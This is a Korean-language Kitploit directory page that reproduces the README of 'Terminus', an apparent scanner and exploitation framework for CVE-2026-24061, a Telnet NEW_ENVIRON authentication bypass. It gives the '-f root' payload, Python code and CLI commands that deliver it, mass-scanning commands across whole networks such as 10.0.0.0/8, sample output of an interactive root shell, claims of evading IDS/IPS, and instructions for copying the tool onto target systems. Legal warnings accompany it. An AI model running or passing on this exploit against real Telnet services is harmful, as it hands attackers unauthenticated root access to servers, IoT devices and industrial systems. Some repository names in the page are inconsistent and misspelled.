Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Terrminus-CVE-2026-2406 — AsyncIO 기반 스캐너 및 CVE-2026-24061(Telnet NEW_ENVIRON 인증 우회)용 익스플로잇 프레임워크. 고동시성 탐지, 수동 핑거프린팅, 그리고 인가된 루트 셸 권한 상승 기능을 제공합니다. | Kitploit
도구/GitHubGitHub/ridpath/terrminus-cve-2026-2406
Privilege EscalationReconnaissanceVulnerability ScannersIoT SecurityExploitationSCADA/ICS SecurityInformation GatheringWeb SecurityNetwork SecurityPenetration TestingRed Teaming
26개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHub
ridpath/terrminus-cve-2026-2406

Terrminus-CVE-2026-2406

AsyncIO 기반 스캐너 및 CVE-2026-24061(Telnet NEW_ENVIRON 인증 우회)용 익스플로잇 프레임워크. 고동시성 탐지, 수동 핑거프린팅, 그리고 인가된 루트 셸 권한 상승 기능을 제공합니다.

저장소 보기

Terminus - CVE-2026-24061 스캐너 및 익스플로잇 프레임워크

CVE-2026-24061 Telnet NEW_ENVIRON 인증 우회 및 권한 상승 취약점을 위한 보안 분석 엔진입니다.

Terminus


개요

Terminus는 CVE-2026-24061의 승인된 침투 테스트 및 취약점 평가를 위해 설계된 전문 보안 연구 도구입니다. 이 치명적인 취약점은 레거시 Telnet 데몬 구현에 영향을 미치며, 비인증 원격 공격자가 인증을 우회하고 root 수준의 접근 권한을 얻을 수 있게 합니다.

CVE-2026-24061이란 무엇인가?

CVE-2026-24061은 RFC 1572(Telnet 환경 옵션)를 지원하는 Telnet 서비스의 원격 코드 실행 취약점입니다. 이 취약점은 NEW_ENVIRON 하위 협상 중 USER 환경 변수의 부적절한 검증을 악용합니다:

  • 정상 인증: USER=john → 비밀번호 요청
  • 익스플로잇 페이로드: USER=-f root → 인증 우회, root 셸 부여

영향:

  • 완전한 인증 우회(비밀번호 불필요)
  • root로의 즉각적인 권한 상승
  • 전체 시스템 장악

영향을 받는 서비스:

  • 레거시 Telnet GNU Inetutils telnetd(특히 2.7까지의 버전)
  • 취약한 Telnet 구현이 포함된 IoT 펌웨어
  • 오래된 Telnet 서비스를 사용하는 산업용 제어 시스템

주요 기능

대규모 취약점 스캐너

  • 고동시성 스캐닝: AsyncIO를 사용하여 1,000개 이상의 대상을 동시에 스캔
  • CIDR 지원: 전체 네트워크 범위 스캔(192.168.0.0/24, 10.0.0.0/8)
  • 이중 탐지 모드:
    • 수동(기본값): 빠르고 안전한 시그니처 기반 탐지
    • 능동 검증(--verify): 익스플로잇 증명, uid=0 root 접근 확인
  • 배너 분석: 데몬 유형 및 버전 핑거프린팅
  • 위험 점수: 다층 신뢰도 평가(CRITICAL, HIGH, MEDIUM, LOW)

RFC 준수 프로토콜 엔진

  • TerminusNegotiator 클래스: Telnet 프로토콜 작업을 위한 깔끔한 API
    • Terminus.handshake() - RFC 854 준수 핸드셰이크
    • Terminus.exploit() - CVE-2026-24061 페이로드 전달
  • 적절한 옵션 협상: 프로토콜 준수를 통한 IDS/IPS 탐지 회피
  • 상태 머신: IAC 시퀀스(DO/DONT/WILL/WONT/SB/SE)의 견고한 처리

권한 게이트 익스플로잇

  • 대화형 셸: root 접근 권한이 있는 완전한 사후 익스플로잇 셸
  • 명령 실행: 단일 명령 실행 및 출력 캡처
  • 증거 수집: uid, 환경 변수, 시스템 정보 수집
  • 안전 메커니즘:
    • 명시적 --exploit 플래그 필요
    • 배치 스캐닝 모드에서 비활성화
    • 모든 익스플로잇 시도의 감사 로깅

다중 형식 보고

  • 터미널: 색상 코드 위험 수준이 포함된 리치 형식 테이블
  • JSON: SIEM/SOAR 통합
  • CSV: 스프레드시트 추적
  • HTML: 통계가 포함된 상세 보고서
  • Markdown: 문서화 친화적 출력

아키텍처

핵심 엔진: TerminusNegotiator

Terminus의 핵심은 프로토콜 처리와 익스플로잇 로직을 명확하게 분리하는 TerminusNegotiator 클래스입니다:```python from terminus import TerminusNegotiator

Initialize engine

negotiator = TerminusNegotiator()

Step 1: RFC 854 compliant handshake

await negotiator.handshake(target="192.168.1.100", port=23)

Step 2: Deliver CVE-2026-24061 payload

result = await negotiator.exploit(payload="-f root")

if result.success: print(f"Root shell acquired: {result.evidence['uid']}")

root@kitploit:~
### 엔진 vs. 스크립트 접근 방식

**기존 스크립트** (기존 도구):```
Target → Raw Socket → Payload → Blind Execution → Hope for Shell

Terminus 엔진:``` Target → Discovery → RFC Handshake → Passive Analysis → Risk Assessment ↓ [Optional] Verified Exploitation → Evidence Collection → Report

root@kitploit:~
---

## 설치

### 요구 사항
- **Python 3.10+**
- **지원 플랫폼:**
  - Windows 10/11 (PowerShell)
  - Windows + WSL2 (Kali Linux, Parrot OS, Ubuntu)
  - 네이티브 Linux (Kali, Parrot, Ubuntu, Debian)
  - macOS (Python 3.10+ 포함)

### 빠른 시작 (모든 플랫폼)

#### Windows (PowerShell)```powershell
# Clone repository
git clone https://github.com/ridpath/Terrminus-CVE-2026-2406.git

# Run setup script
.\setup_env.ps1

# Activate virtual environment
.venv\Scripts\Activate.ps1

# Verify installation
terminus --version

Linux / WSL2 / macOS (Bash)```bash

Clone repository

git clone https://github.com/ridpath/Terrminus-CVE-2026-2406.git cd Terminus-CVE-2025-2406

Run setup script

chmod +x setup_env.sh ./setup_env.sh

Activate virtual environment

source venv/bin/activate

Verify installation

terminus --version

root@kitploit:~
#### 수동 설치 (모든 플랫폼)```bash
# Clone repository
git clone https://github.com/ridpath/Terrminus-CVE-2026-2406.git
cd Terrminus-CVE-2026-2406

# Create virtual environment
python3 -m venv venv

# Activate (Linux/macOS/WSL)
source venv/bin/activate

# Activate (Windows PowerShell)
# venv\Scripts\Activate.ps1

# Install dependencies
pip install -e .

# Verify
terminus --version

종속성 (크로스 플랫폼)

  • telnetlib3 - AsyncIO Telnet 프로토콜 구현
  • rich - 터미널 UI 및 포맷팅 (Windows/Linux에서 ANSI 지원)
  • pydantic - 데이터 검증 및 모델
  • aiofiles - 비동기 파일 I/O
  • jinja2 - 보고서 템플릿 생성
  • pyyaml - 구성 관리
  • pathlib - 크로스 플랫폼 경로 처리 (내장)

참고: 모든 종속성은 순수 Python이거나 크로스 플랫폼 휠을 제공합니다. 플랫폼별 컴파일이 필요하지 않습니다.


셸 완성 (선택 사항)

더 빠른 명령 입력을 위해 탭 완성을 활성화합니다:

Bash```bash

_TERMINUS_COMPLETE=bash_source terminus > ~/.terminus-complete.bash echo 'source ~/.terminus-complete.bash' >> ~/.bashrc source ~/.bashrc

root@kitploit:~
### Zsh```bash
_TERMINUS_COMPLETE=zsh_source terminus > ~/.terminus-complete.zsh
echo 'source ~/.terminus-complete.zsh' >> ~/.zshrc
source ~/.zshrc

Fish```bash

_TERMINUS_COMPLETE=fish_source terminus > ~/.config/fish/completions/terminus.fish

root@kitploit:~
### PowerShell```powershell
# Add to $PROFILE
_TERMINUS_COMPLETE=powershell_source terminus | Out-String | Invoke-Expression

테스트해 보세요:```bash terminus # Shows: scan, exploit, version terminus scan - # Shows: -t, -f, -p, --verify, etc.

root@kitploit:~
---

## 사용법

### 스캔 모드

#### 단일 대상 스캔```bash
terminus scan -t 192.168.1.100

CIDR 범위 스캔```bash

terminus scan -t 192.168.1.0/24

root@kitploit:~
#### 파일 기반 배치 스캔```bash
# targets.txt contains one IP/CIDR per line
terminus scan -f targets.txt --threads 500

고동시성 네트워크 스캔```bash

terminus scan -t 10.0.0.0/8 --threads 1000 --rate-limit 200

root@kitploit:~
### 탐지 모드

#### 수동 탐지 (기본값 - 안전)```bash
terminus scan -t target.com --passive-only

공격적 탐지 (모든 휴리스틱)```bash

terminus scan -t target.com --aggressive

root@kitploit:~
#### 능동 검증 모드 (익스플로잇 증명)```bash
terminus scan -t 192.168.1.100 --verify

사용 방법

실시간 데모

버전 확인:```powershell PS C:\terminus> terminus --version Terminus v1.0.0 CVE-2026-24061 Telnet NEW_ENVIRON Scanner & Exploitation Framework Signatures database: C:\terminus\signatures.db

root@kitploit:~
**수동 스캔 (기본값 - 보수적 위험 평가):**```powershell
PS C:\terminus> python -m terminus scan -t 172.17.45.122 -p 2323

================================================================
                        TERMINUS
       CVE-2026-24061 Scanner & Exploitation Framework
================================================================

Parsing 1 targets...
Found 1 valid targets

  Scanning 1 targets... ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% (1/1) Vulnerable: 0 0:00:00

╭────── Scan Summary ──────╮
│ CVE: CVE-2026-24061      │
│ Total Targets: 1         │
│ Scanned: 1               │
│ Failed: 0                │
│ Timeouts: 0              │
│                          │
│ Vulnerability Breakdown: │
│   Critical: 0            │
│   High: 0                │
│   Medium: 0              │
│   Low: 1                 │
│   Info: 0                │
│                          │
│ Duration: 3.53s          │
│ Avg Scan Time: 3522.22ms │
│                          │
╰──────────────────────────╯

                                 Terminus - CVE-2026-24061 Scan Results
╭───────────────┬──────┬───────────┬──────┬─────────┬─────────┬─────────────┬──────────┬───────────────╮
│ Target        │ Port │  Status   │ Risk │ Daemon  │ Version │ NEW_ENVIRON │ Verified │ Duration (ms) │
├───────────────┼──────┼───────────┼──────┼─────────┼─────────┼─────────────┼──────────┼───────────────┤
│ 172.17.45.122 │ 2323 │ completed │ Low  │ unknown │ Unknown │     YES     │    -     │       3522.22 │
╰───────────────┴──────┴───────────┴──────┴─────────┴─────────┴─────────────┴──────────┴───────────────╯

No vulnerable targets found

--verify를 사용한 능동 검증 (익스플로잇 증명):```powershell PS C:\terminus> python -m terminus scan -t 172.17.45.122 -p 2323 --verify

================================================================ TERMINUS CVE-2026-24061 Scanner & Exploitation Framework

Parsing 1 targets... Found 1 valid targets

Scanning 1 targets... ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% (1/1) Vulnerable: 1 0:00:00

╭────── Scan Summary ──────╮ │ CVE: CVE-2026-24061 │ │ Total Targets: 1 │ │ Scanned: 1 │ │ Failed: 0 │ │ Timeouts: 0 │ │ │ │ Vulnerability Breakdown: │ │ Critical: 1 │ │ High: 0 │ │ Medium: 0 │ │ Low: 0 │ │ Info: 0 │ │ │ │ Duration: 8.04s │ │ Avg Scan Time: 8029.55ms │ │ │ ╰──────────────────────────╯

root@kitploit:~
                               Terminus - CVE-2026-24061 Scan Results

╭───────────────┬──────┬───────────┬──────────┬─────────┬─────────┬─────────────┬──────────┬───────────────╮ │ Target │ Port │ Status │ Risk │ Daemon │ Version │ NEW_ENVIRON │ Verified │ Duration (ms) │ ├───────────────┼──────┼───────────┼──────────┼─────────┼─────────┼─────────────┼──────────┼───────────────┤ │ 172.17.45.122 │ 2323 │ completed │ Critical │ unknown │ Unknown │ YES │ ROOT │ 8029.55 │ ╰───────────────┴──────┴───────────┴──────────┴─────────┴─────────┴─────────────┴──────────┴───────────────╯

Found 1 vulnerable targets!

root@kitploit:~
**대화형 익스플로잇:**```powershell
PS C:terminus> python -m terminus exploit -t 172.17.45.122 -p 2323 --yes

================================================================
                        TERMINUS
       CVE-2026-24061 Scanner & Exploitation Framework
================================================================

Attempting exploitation of 172.17.45.122:2323...
Payload: -f root

CVE-2026-24061 exploitation attempt initiated with payload: -f root
CVE-2026-24061 exploitation SUCCESSFUL - root access obtained

[*] CVE-2026-24061 Interactive Shell Started
[*] Type 'exit' or press Ctrl+C to quit

whoami
root
┌──[root@parrot]─[~]
└──╼ #

주요 관찰 사항:

  • 수동 모드: NEW_ENVIRON 지원을 감지했지만 위험도를 낮게(LOW) 보고(보수적)
  • 능동 검증: 루트 접근(uid=0) 확인, "ROOT" 검증 상태로 위험도를 CRITICAL로 상향
  • 악용: 비밀번호 프롬프트 없이 즉시 루트 셸 획득

기능:

  • 먼저 수동 감지 수행(배너 + 프로토콜 분석)
  • 취약점이 의심되면 -f root 페이로드로 실제 악용 시도
  • 응답에서 uid=0을 확인하여 루트 접근 확인
  • 루트 접근이 확인되면 위험도를 CRITICAL로 상향
  • 스캔 결과에 검증 상태 출력

사용 사례:

  • 규정 준수 보고서를 위한 높은 신뢰도의 검증
  • 개념 증명(PoC) 시연
  • 벤더에 보고하기 전 악용 가능성 확인
  • 증거 수집이 필요한 레드 팀 운영

출력 예시:``` Target Port Status Daemon Risk Verified 192.168.1.100 23 VULNERABLE inetutils-telnetd CRITICAL ROOT ACCESS 192.168.1.101 23 VULNERABLE netkit-telnetd HIGH Not tested 192.168.1.102 23 SAFE OpenBSD-telnetd LOW N/A

root@kitploit:~
**배치 검증:**```bash
terminus scan -f targets.txt --verify -o json -w verified_results.json

참고: 능동 검증은 익스플로잇을 시도합니다. 적절한 승인을 받은 경우에만 사용하세요.

출력 형식

JSON 출력```bash

terminus scan -t 192.168.1.0/24 -o json > results.json

root@kitploit:~
#### HTML 보고서```bash
terminus scan -f targets.txt -o html -w report.html

CSV 내보내기```bash

terminus scan -t 10.0.0.0/24 -o csv > vulnerabilities.csv

root@kitploit:~
### Exploitation (승인된 사용 전용)

#### 대화형 셸```bash
terminus exploit -t 192.168.1.100
# Requires confirmation prompt
# Grants root shell on vulnerable target

명령 실행```bash

terminus exploit -t 192.168.1.100 -c "id"

Output: uid=0(root) gid=0(root) groups=0(root)

root@kitploit:~
#### 사용자 정의 페이로드```bash
terminus exploit -t 192.168.1.100 --payload "-f admin"

유틸리티 명령

취약점 시그니처 업데이트```bash

terminus update-signatures

root@kitploit:~
#### 이전 결과 검증```bash
terminus verify -f results.json

버전 및 서명 표시```bash

terminus version

root@kitploit:~
## 테스트 환경 설정

### 레드 팀용: 크로스 플랫폼 배포

**Terminus는 휴대용 배포를 위해 설계되었습니다** - 디렉터리를 Windows/Linux 시스템에 복사하고 설치 없이 실행하세요:```bash
# Copy terminus directory to target system
# No hardcoded paths - everything is relative

# Run directly (no installation needed)
cd terminus
python3 -m terminus scan -t 192.168.1.0/24

# All output stays in project directory:
# - Logs: ./logs/terminus.log
# - Reports: ./reports/
# - Config: ./config.yaml

WSL2 테스트 환경 (Windows)

Windows 레드팀 워크스테이션에 권장 - 취약한 테스트 서비스를 배포하기 위한 격리된 Linux 환경:

Kali 또는 Parrot으로 WSL2 설치```powershell

Windows PowerShell (Admin)

Install WSL2

wsl --install

Install Kali Linux

wsl --install -d kali-linux

OR Install Parrot OS (if available)

wsl --install -d ParrotOS

Verify

wsl -l -v

root@kitploit:~
#### WSL2 내부 (Kali/Parrot)```bash
# Update system
sudo apt update && sudo apt upgrade -y

# Install Terminus dependencies
sudo apt install python3 python3-pip python3-venv

# Install testing tools
sudo apt install netkit-telnetd telnetd wireshark tcpdump

# Clone and setup Terminus
git clone https://github.com/ridpath/Terrminus-CVE-2026-2406
cd Terminusb-CVE-2026-2406
./setup_env.sh
source venv/bin/activate

취약한 테스트 서비스 배포 (WSL2 전용)

경고: 격리된 실습 환경에서만 사용하세요. 절대 프로덕션 시스템에서는 사용하지 마세요.```bash

Inside WSL2

Install vulnerable netkit-telnetd version

sudo apt install netkit-telnetd=0.17-*

Configure for NEW_ENVIRON support

Edit /etc/inetd.conf to enable telnet

Start service

sudo systemctl restart inetd

Test from Windows host

From PowerShell:

terminus scan -t $(wsl hostname -I)

root@kitploit:~
### 크로스 플랫폼 테스트 매트릭스

Red Team에서 사용하는 모든 플랫폼에서 Terminus를 테스트하세요:

| 플랫폼 | 설치 | 스캐닝 | 익스플로잇 |
|----------|-------------|----------|--------------|
| Windows 10/11 (PowerShell) | 예 | 예 | 예 |
| WSL2 - Kali Linux | 예 | 예 | 예 |
| WSL2 - Parrot OS | 예 | 예 | 예 |
| WSL2 - Ubuntu | 예 | 예 | 예 |
| 네이티브 Kali Linux | 예 | 예 | 예 |
| 네이티브 Parrot OS | 예 | 예 | 예 |
| macOS | 예 | 예 | 예 |

---

## API 참조

### Python 통합```python
import asyncio
from terminus import TerminusScanner, TerminusExploiter, TerminusNegotiator
from terminus.reporting.models import RiskScore

async def scan_network():
    # High-level scanner
    async with TerminusScanner() as scanner:
        async for result in scanner.scan_targets(["192.168.1.0/24"]):
            if result.risk_score == RiskScore.CRITICAL:
                print(f"CRITICAL: {result.target}")
                print(f"   Daemon: {result.daemon_type} {result.version}")
                print(f"   Confidence: {result.vulnerability_confidence:.2%}")

async def exploit_target():
    # Direct engine usage
    negotiator = TerminusNegotiator()
    
    # Handshake
    success = await negotiator.handshake(target="192.168.1.100", port=23)
    if not success:
        print("Handshake failed")
        return
    
    # Exploit
    result = await negotiator.exploit(payload="-f root")
    if result.success:
        print(f"Root access obtained")
        print(f"Evidence: {result.evidence}")

# Run
asyncio.run(scan_network())

보안 및 윤리

법적 경고

이 도구는 다음 용도로만 사용해야 합니다:

  • 승인된 침투 테스트 계약
  • 통제된 환경에서의 보안 연구
  • CTF 대회 및 교육용 랩
  • 서면 허가를 받은 방어적 보안 평가

무단 사용은 불법이며 비윤리적입니다.

안전 메커니즘

  1. 승인 필수: 악용에는 명시적인 --exploit 플래그가 필요합니다
  2. 확인 프롬프트: 악용 전 대화형 확인 절차
  3. 감사 로깅: 모든 악용 시도가 타임스탬프와 함께 기록됩니다
  4. 단일 대상 강제: 일괄 스캔 모드에서는 악용이 비활성화됩니다
  5. 속도 제한: 스캔 중 우발적인 DoS를 방지합니다

책임 있는 공개

Terminus를 사용하여 취약한 시스템을 발견한 경우:

  1. 서면 승인 없이 시스템을 악용하지 마십시오
  2. 책임 있는 공개를 통해 시스템 소유자에게 발견 사항을 보고하십시오
  3. Terminus 보고 기능을 사용하여 발견 사항을 문서화하십시오
  4. 조정된 취약점 공개 지침을 따르십시오

참고 자료

CVE 정보

  • CVE ID: CVE-2026-24061
  • 심각도: 치명적 (CVSS 9.8)
  • 공격 벡터: 네트워크, 인증 없음, 낮은 복잡도

연구 및 구현

  • 주요 연구: SafeBreach-Labs CVE-2026-24061
  • 참조 악용 코드: telnet_rce.py
  • 일괄 스캐너: TryA9ain CVE-2026-24061

프로토콜 표준

  • RFC 854: Telnet 프로토콜 사양
  • RFC 1572: Telnet 환경 옵션

테스트 및 검증

테스트 범위

  • pytest 기준 90% 이상의 코드 커버리지
  • 모든 핵심 모듈에 대한 단위 테스트
  • 모의 Telnet 서버를 사용한 통합 테스트
  • 성능 벤치마크 (1,000개 대상 < 60초)

수동 테스트 체크리스트

  • 취약 서비스 스캔 (탐지 확인)
  • 패치된 서비스 스캔 (오탐 없음 확인)
  • 인증 우회 테스트 (비밀번호 프롬프트 없음)
  • 권한 상승 확인 (uid=0)
  • IDS 알림 모니터링 (은밀성 확인)
  • 성능 테스트 (1,000개 이상 대상)

구성

config.yaml (크로스 플랫폼)

모든 경로는 프로젝트 루트 기준 상대 경로입니다 - 수정 없이 Windows, Linux 및 WSL에서 작동합니다:```yaml

config.yaml - Cross-platform configuration

All paths relative to project directory

scanner: default_port: 23 connect_timeout: 3.0 handshake_timeout: 5.0 max_concurrent: 1000 rate_limit: 100 # connections/second

detection: passive_only: true # Safe mode by default banner_timeout: 2.0 heuristic_checks: true

Signature database (relative path)

signatures_db: "./signatures.db"

exploit: require_authorization: true default_payload: "-f root" evidence_collection: true interactive_shell: true

reporting: default_format: "terminal" include_safe_targets: false verbosity: "normal"

Output directory (relative path - works on Windows/Linux)

output_dir: "./reports"

logging: level: "INFO"

Log file (relative path - automatic directory creation)

file: "./logs/terminus.log" format: "json" console_enabled: true


Acknowledgments

  • SafeBreach Labs: Original CVE-2026-24061 research and exploit implementation
  • TryA9ain: Batch scanning approach inspiration
  • RFC Authors: Telnet protocol specifications

도구 다운로드